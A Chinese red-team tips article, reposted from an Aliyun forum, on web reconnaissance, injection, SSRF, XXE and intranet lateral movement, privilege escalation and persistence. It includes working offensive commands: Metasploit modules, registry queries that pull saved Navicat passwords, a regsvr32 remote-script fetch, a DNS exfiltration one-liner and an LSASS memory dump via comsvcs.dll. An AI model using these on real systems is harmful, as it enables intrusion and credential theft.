更多渗透技能 ,10余本电子书及渗透工具包,搜公众号:白帽子左一

作者:阿鑫鑫鑫鑫哥哥 来源:https://xz.aliyun.com/t/9773

整篇文章都是干货,内容很细,如何你还拿不到站,或者没办法将实践与原理进行很好的结合,都可以看看,大佬的经验之谈…

前言

从攻击方换成防守方,乙方换到甲方,还有些许不适应…

但还是决定把自己接触渗透所积累的东西也拿出分享,不管糟粕,希望能帮到还在学习路上的朋友。此外,本文为口嗨文,基本在说思路,没有实操。

web端

(1)信息收集

收集cms信息:

1.通过云溪,wapplayzer,fofa,以及github上各位表哥写的baner等插件脚本收集

2.网站后台,正页,power by “xxx”,以及robots.txt

3.根据经验判断,比如网站的icon(joomla,dede),目录框架结构(wordpress,discuz!)这些有明显特征的

4.大框架类似,二次模改过来的,比如(onethink–>thinkphp)

5.报错关键字提取,去github找有没有相似源码以及类似函数,报错信息可以用google语法收集warning error not exist等等。

6.一些cms可以直接通过msf打

use exploit/unix/http/laravel_token_unserialize_exec //关于laravel RCE
use auxiliary/admin/cisco/cisco_asa_extrabacon //关于思科的设备,CVE-2016-6366

收集端口:

1.这么收集端口没什么好说,方法就那么几种

2.一些端口应该知道的,开了21,22等端口,ftp匿名访问必须尝试(如果匿名登陆成功无法下载文件,尝试加入–no-passive参数)

ssh弱口令必须尝试一下(各类数据库都外联弱口令尝试一下)

81,88,888常见的web端口,389是ldap的默认端口,内网里面可能为域控

445(有些站你怎么打都日不进去,开了445的公网配合msf17010扫一波)

999(phpmyadmin),1234(可能为redis),6379,3389(guest,shift都尝试一下),6588(护卫神界面),70000到10000的基本上是java的服务,重点关注weblogic,jboss,shiro,fastjson。

其他一些高端口,可能为宝塔,或者边缘业务的端口。

收集子域名:

1.收集的意义在于配合收集的cms和端口信息撕开口子

2.看看有没有域传送漏洞,有的话帮你找完

3.多去找找某些api,某些api也可以帮你找全(其所有相关资产)。

4.某些网站有sql注入,但是找不到后台,可能就在子域名、子域名可能还有phpmyadmin

目录扫描

1.拿到站先不要直接开扫,先把bp打开,自己点一下网站的功能,然后在target那一栏bp会帮我们爬出大体框架

2.如果ip被ban了,将线程调低,或者在找一个小众一点的扫描器,不行的话自己写一个,py,很快的。

3.尽量通过目录的结构得知为什么cms,有没有上传的编辑器(fck,eweb等,很多时候比如我们通过注入找到网站后台账号密码,成功进入后台

但是后台功能单一以至于拿不下shell,这个时候最好的方法就是去找新的资源,当我们发现一个漏洞很容易被这个漏洞束缚从而思维无法发散)

我们找到A服务器的后台:admin/adminlogin.asp(有账号密码但是拿不下)

这个时候不是一直想突破后台,而是发现新的资源

admin/ewebeditor/admin_login.asp(从编辑器入手)

4.比如扫到了axgg.xml这个敏感文件,它确实存在却无法访问,比如

www.axgg.com/hdx/hxd/axgg.xml 我们无法访问,可以做一下尝试

www.axgg.com/hdx/.hxd/axgg.xml

www.axgg.com/hdx/;abcd/hxd/axgg.xml

www.axgg.com/hdx/abcd/…/hxd/axgg.xml

5…git svn如果觉得还原的不全,可以去kali重新试试,多下几个工具

6.日志

其他信息收集

1.c段,旁站,fofa搜索icon,header。

2.phpinfo

(收集绝对路径,真实ip,绕过xss的httponly($_SERVER[“HTTP_COOKIE”]),存在oci8推测数据库可能为oracle,),phpmyadmin,adminer,以及疑似的后门

同行的马1.我们可以用profile=a看看能不能溢出2.f12里面搜索font,可能会出现密码

3.同模版网站

4.护网的话,学校医院的学号和工号,可以根据“奖学金&&值班表” filetype等关键字搜索

5.扫到了401的界面,可以加入X-Custom-IP-Authorization: 127.0.0.1

6.如果在登录框处,我们可以查看其Js文件,测试密码不大可能泄露,但是说不定能找到其他组件,比如webservices,这个存在注入。

(2)sql注入

1.不论是前后台,如果可以上传图片,但是上传绕不过,可以考虑图片名改为注入payload,看看有没有二次注入

2.如果存在注入,好好利用bp,get/post切换,参数污染,分块,x-forward-for改为127.0.0.1

application/数据流也可以改

bp里面的一些非主流字符也可以删除掉,比如

以及垃圾数据

3.至于对抗waf,最重要的是要清楚waf的规则,拦截的参数,再来进一步绕过,具体可以参考我的上一篇文章。https://xz.aliyun.com/t/926

4.遇到一个cms存在盲注,数据出的很慢,我们可以自己本地搭建一个,查看账号密码放在哪个表单。

5.比如一个登录框,登陆的时候叫你选部门,可能账号密码处没有注入,但是你从人事部选择技术部这一步抓包,就会有注入。

6.比如用union或者报错打payload,但是没有数据回显,可以看看f12里面是不是有hidden属性

7.sqlserver的xpcmdshell写一句话用^转义失败,可以尝试certuili的hex写入

(3)逻辑漏洞

1.存在注入拿下了账号,但是admin的账号hash解不开,可以在后台尝试修改密码,看是否存在逻辑漏洞

2.关于爆破的后台验证码,可以更换为万能验证码(0000,8888我尝试均失败,不知哪儿听说的,哈哈哈哈),当然也可以设置空验证码,或者将验证码这个参数给删除掉。

3.注册账号的时候可以尝试admin空格空格空格空格空格空格,看看可不可以覆盖

(4)上传

1.条件竞争其实挺多的,tp写入session也可以想到条件竞争

2.二次渲染,不仅是要了解,而且要大环境复线。

3.bp里面的各类参数修改,已经说的很多了。

4.看看有没有.user.ini这个文件,有的话走大运

5.白名单,这类没有解析漏洞或者开发商本身的漏洞,就别想着绕过了。

(5)xss

1.XSS无非是打cookie,钓鱼,像更高端的操作比如最近的chrome,xmind等xss上线cs,但是在实际项目中是可遇不可求的,真正需要注意的还是xss一些payload的拓展以及打到了cookie怎么绕过httponly。

其实钓鱼的话可以配合弱口令去后台看看能不能改一些模版,虽然现在各类客服的安全意识已经很高了,但是有些时候能不能拿下项目还真的指望他们。

(6)ssrf

1.ssrf出现的位置,其实burp抓包,不管是get的参数还是post的参数,我们都可以直接fuzzing,就比如post的数据,image=admin,

我们image=http://vps:1234 都要不断尝试。不一定非要在网上说的那几个位置才能想到ssrf。

2.认清ssrf的作用,像ssrf->getshell真的太少了,都是配合ssrf收集信息打组合拳,就比如配合redis那shell,首先是对面可能存在redis,然后为授权。然后写东西的时候不出玄学问题,就行了。

3.ssrf最主要的几个功能是收集服务器的真实IP,探测内部文件,比如看看能不能通过gopher,file等协议读取东西,如果能探测web的端口,可以看看找一些get参数就能拿东西的漏洞,比如get型的sql注入

(7)xxe,csrf

1.首先xxe我们也可以先将我们的content-type改为我们的application/xml,

不管他是application/data,application/json,都可以改成application/xml

然后看看response对比哈,如果有区别的话可以FUZZING一哈xxe的payload

2.关于csrf,其实csrf可以简单的理解借刀杀人,用当前目标的权限去做他能做的事情,如果此后台管理员能编辑模板插入脚本代码

那么我们就可以构造出POC去getshell,但是话又说回来,这2个洞我反正在项目中遇到是很少的。

内网

(1)信息收集

其实网上有很多讲内网信息收集,说了很多命令,但是都用的到吗?

因为我们收集到不同的信息会对我们的渗透思路完全不同,内网不像web,你在工作组和在域环境打法是完全不同的,你在域环境找到域控和没找到域控是2回事。

但是渗透的本质还是不断地收集信息然后横向。

首先应该收集的是我们当前控制机器的信息,杀软有哪些,你要是不提权的话可以不看补丁,是否在域环境,是否纯在IPC空连接,共享,机器上的一些txt,xlsx,一般在桌面

dir /b /s *.txtwmic share get name,path,status \查看共享wmic data file where "filename='test' and extension='jpg'" get caption

ps:如果没有找到桌面的位置,有些国外的机器或者修改过的项目

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /s \通过注册表找到

是否存在tg,xshell,navicat等软件,这些都可以进一步搜集额外的东西

破解navicat

MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v host
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v pwd
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserName
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\
Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\
Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\
SQLite HKEY_CURRENTUSER\Software\PremiumSoft\NavicatSQLite\Servers\

本机的wifi密码(撞密码),本机浏览器的书签,保存的密码

(这个很好破解,比如内网历史记录访问过一个192.168.7.15/admin.aspx这个网站,我们查看他的密码需要Pin,我们直接点进去这个网站,然后f12把hidden改成txt即可)

cookie(因为有些要IP认证,所以用cookie),RDP的凭证,public\document这个位置,如果运气好或许Mimikatz可以破解出来,不过我们当我们不在域环境的时候可以查看连接的IP帮我们更好的定位其他机器的位置。

本机的网络环境,c段的web资源,数据库位置,信任域(前提是我们是在域环境),等这类东西。

最后在是我们的密码,凭证。

(2)关于横向

其实横向的强弱在于我们第一步的信息收集,道理大家都知道

比如我们通过web打点拿下一台服务器

同学a通过navicat解出了sqlserver的账号密码,在看了一下c段的机器名或者开的端口,找到了数据库,然后在通过sqlserver的IPC空连接配合gpc泄露拿到了密码

虽然这个例子举得太过理想和拉跨,但是想告诉读者朋友们,我们一定要对信息收集这个概念在每一台我们能控制的服务器运用到极致

同学b进去抓密码,pth,ms17010(出了永恒之蓝,还有永恒冠军,永恒浪漫,就是原生py),或者找找web日一日,发现日求不动,然后渗透结束。

虽然现在委派很火,但是我想说的委派基本上是大集团方便管理,其实我们平时遇到的普通域环境很少用的到,但是学有余力还是务必掌握!

(3)提权

说到提权,其实我们应当明白提权的这个机器对我们有进一步渗透的意义,才去提权

比如我在一个域环境,当前用户就是一个普通域用户,是一个普通的员工机器,但是我TM就想一个烂土豆提到system,然后抓密码,哎,就是玩儿,但是真没必要。

什么时候需要提?

比如我们在的机器为域机器,但是当前用户却是本地用户,这个时候我们可以一个烂土豆变成system,然后查看域用户,找域控。

就是想告诉大家别没有思路的时候就提权,而是看我们提了权能给我们进一步带来什么,当我们渗透没有思路时,就回顾一下自己打点到目前的位置,是不是每一步的信息收集都收集好了。

(4)权限维持

这一步和提权是一样的,我们应该明白什么时候需要权限维持

不是打点进去,一个pth上了三四太机器,然后每一个做一个自启,或者直接注册表修改添加隐藏用户,又或者激活guest。

我们应当审视一下这台机器,他有没有进一步利用的价值再去做权限维持,比如这是一台运维,或者IT的机器,怎么看,看这台机器的组,或者机器名,还有桌上的一些文件进行判别。

我们做权限维持的目的是这个时间点没有收集到或者错过了收集到一些敏感的东西,所以我们权限维持等待时机,比如键盘记录,cmd命令记录,如果是linux的,我们可以ssh劫持。

常用的权限维持技巧,自启动,利用acl添加普通用户的完全访问权限,利用DCSync在域内维持权限等方法。

(5)文件传输

网上也说了很多,我也再说说吧,

除了常见的python,certuili,bitadmin,wget,curl,ftp

js,hta,vbs等这类脚本也可用写入下载的内容

或者运用csc编译我们写好的dowoload.cs、也可以用wmic

wmic process call create "regsvr32 /s /n

/u/i:http://xxxxx:1337/as.txt scrobj.dll"这样调用

(6)内网的一些小技巧

1.当某些软件正在运行或者权限不够我们看不了,我们可以copy到一个位置然后在type

2.如果某些环境出现中文名而且我们的c2工具因为字符不能识别无法正常渗透,可以考虑写入bat或者vbs

3.当我们mstsc连接出现问题时,我们可以mstsc /admin mstsc /console

4.当我们echo一个一个字符追加,但是换行了,可以这样

5.拿到shell,但是cmd没有回显

cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set =%i & cmd /c nslookup %_:~0,-1%. 6utb0b.dnslog.cn)&del temp

6.如若3389登不上,普通方法都检测了,试试net stop sharedaccess关闭筛选,如果想多用户登录,可以尝试使用rdpwrap这个软件。

7.echo 123 > axgg::$INDEX_ALLOCATION \创建文件夹,有什么用,mysql udf没有plugin的时候

删除:rd axgg::$INDEX_ALLOCATION

8.比如我们的命令被禁用或者匹配了其规则,其余思路自由发展

9.当我们遇到owa的时候,只要将HTTP协议版本修改成1.0,然后去掉http头里面的HOST参数,会返回服务器所在的内网IP,对OWA屡试不爽

此外,/owa/auth/trace.axd会暴露OWA版本和内网的代理IP信息

10.如果想降权的话可以用runas起一个进程

11.提供一个不要prodump抓lsass的方法

tasklist | findstr lsass.exe 查找lsass的pid号

powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 592 D:\wwwroot\huodong\lsass.dmp full"

(7)免杀,dll劫持,dll注入,委派,bypass uac

这些都是当我们基本打好了以后才能更好的吸收和掌握,网上也有很多师傅讲过,

至于web的,我上传了一些Poc在我的github,大家有兴趣可以看看

https://github.com/xinxin999/Exp-collect

干货 | 红队小技巧相关推荐

  1. 【网络安全】手把手给大家演练红队渗透项目

    简介 该项目是以伟大的詹姆斯邦德电影GoldenEye为主题创作的,目标是获取最底层的flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度.接下来 ...

  2. dts数据库迁移工具_干货分享丨DM8 DTS工具使用小技巧

    DTS工具的介绍 DM数据库为迁移提供了图形化工具--DTS.DTS可以从主流大型数据库迁移到DM.DM到DM.文件迁移到DM以及DM迁移到文件的功能,极大的简化了迁移操作,让数据迁移变得简单. DT ...

  3. 计算机使用技巧爆文,自媒体干货篇:利用这个小技巧可以五分钟之内写好一篇爆文!...

    原标题:自媒体干货篇:利用这个小技巧可以五分钟之内写好一篇爆文! 上期给大家分享了如何拟写一篇文章的爆文标题,今天就跟大家分享,如何在五分钟之内写好一篇爆文!相信大家在写文章的时候,最让人头疼的就是为 ...

  4. h5跳转页面很慢_【干货】小技巧实现H5跨页帧数跳转

    原标题:[干货]小技巧实现H5跨页帧数跳转 现今,随着H5动画越来越成为媒体传播的主要手段, 围绕着H5动画设计制作的各种云平台也越来越专业.今天我们重点来介绍木疙瘩云平台中的一个小技巧:如何结合代码 ...

  5. android 取imei p10,纯干货 | 一般人不知道的几个华为P10小技巧

    原标题:纯干货 | 一般人不知道的几个华为P10小技巧 说到最近很火很火很火满大街刷屏的华为P10,不少人已经上手,然而对P10还是略显陌生.小编这里还有几个不为人知的小技巧,友谊的小船说开就开,今天 ...

  6. 云顶之弈怎么防止被机器人拉_云顶之弈:只有钻石玩家才知道的12个小技巧,都是干货!...

    最近英雄联盟云顶之弈非常火爆,以前一些不上线好友的名字也纷纷亮起来了,而且放在他们名字上一看基本上都是在玩云顶之弈.笔者经常使用恶魔元素法师阵容,海岛枪剑阵容,四护卫阵容,终于非常幸运的上到了钻石段位 ...

  7. 小白白红队初成长(1)被动信息收集

    文章目录 零.前言 一.基础 1.0.小建议 1.1.基础 1.2.大体思路 二.信息收集 2.1.简述 2.2.信息收集的基本要求 2.3.信息收集什么 2.4.信息收集分类 三.被动信息收集 3. ...

  8. 正宗干货!关于Apple Watch官方提到的10个设计小技巧

    欢迎关注译者微信号:设计译言唷. 对于设计者来说,Apple Watch 是一个全新的玩意.与网页.桌面客户端和移动应用的设计相比,Apple Watch 的设计引入了许多新的限制,但同时也带来了无穷 ...

  9. 干货 | 提升演讲能力的7个小技巧

    课堂小组展示.论文/项目答辩,上台演讲发言--日常生活中有许多需要演讲的场景. 市场上关于如何演讲的书籍也多得很,网络上随手一搜就有诸多资料.但关键是有没有真的应用到自己的演讲实战当中. 有一本算是比 ...

  10. 满满干货,解决内存不足问题的n个小技巧!

    Mac总是提示空间不足,运行速度越来越慢?看到红色刺眼的磁盘空间,强迫症简直不能忍!该怎么解决?虽说macOS的系统优化比较好,很多小的无效数据文件会自动归类清除,但很多时候,一些稍大的数据文件仍然残 ...

最新文章

  1. java执行linux shell命令,并拿到返回值
  2. 运用深度学习教机器人理解自然语言
  3. 关于数据访问模式(三)—— Data Accessor模式
  4. 你疏漏的 JS 函数硬核知识?这里帮你总结了
  5. 一文带你了解华为云DevCloud为何能全面领跑中国DevOps云服务市场
  6. iOS常用的存储方式介绍
  7. dotween路径移动_Unity---DOTween插件学习(3)---获取数据、协程、路径动画
  8. java 分布式 定时任务_Java中实现分布式定时任务的方法
  9. python 相关系数(全)
  10. java 微信群组头像_仿微信生成群组头像
  11. 钱文忠解读《弟子规》读后感
  12. h5 invoke android,uniapp安卓版本11.0.0以上真机调试App: onLaunch have been invoked
  13. 简单的猜数字游戏[1]
  14. 网站流量统计指标分为三大类
  15. 条形码数据的批量制作用什么软件?
  16. Elasticsearch通过_update_by_query和script批量修改文档
  17. tomcat调优之启动参数
  18. 【C语言】运算符大全(附运算符优先级表)
  19. 一文带您了解信号线和电源线的区别
  20. C++ STL函数库 vector(henu.hjy)

热门文章

  1. shell编写三角函数_VB中三角函数计算.doc
  2. 盘点常见元器件级性识别方法
  3. 微信公众号接口开发--回复消息
  4. 冰点还原6.61 For Win2003 打造全过程
  5. 学计算机应该买多大尺寸笔记本电脑,笔记本电脑买几寸的比较合适?
  6. android wifi音箱,(原创)图文并茂教程,手把手教你用安卓手机当电脑的无线扬声器(喇叭)...
  7. 【游戏】Win 10 运行红色警戒2
  8. JavaScript将HTML元素导出PDF及World
  9. 汕头大学计算机专业就业,汕头大学毕业生最后怎样了?17%进入世界和中国500强,月薪5185元...
  10. Win10+外接显示器 “未检测到其他显示器”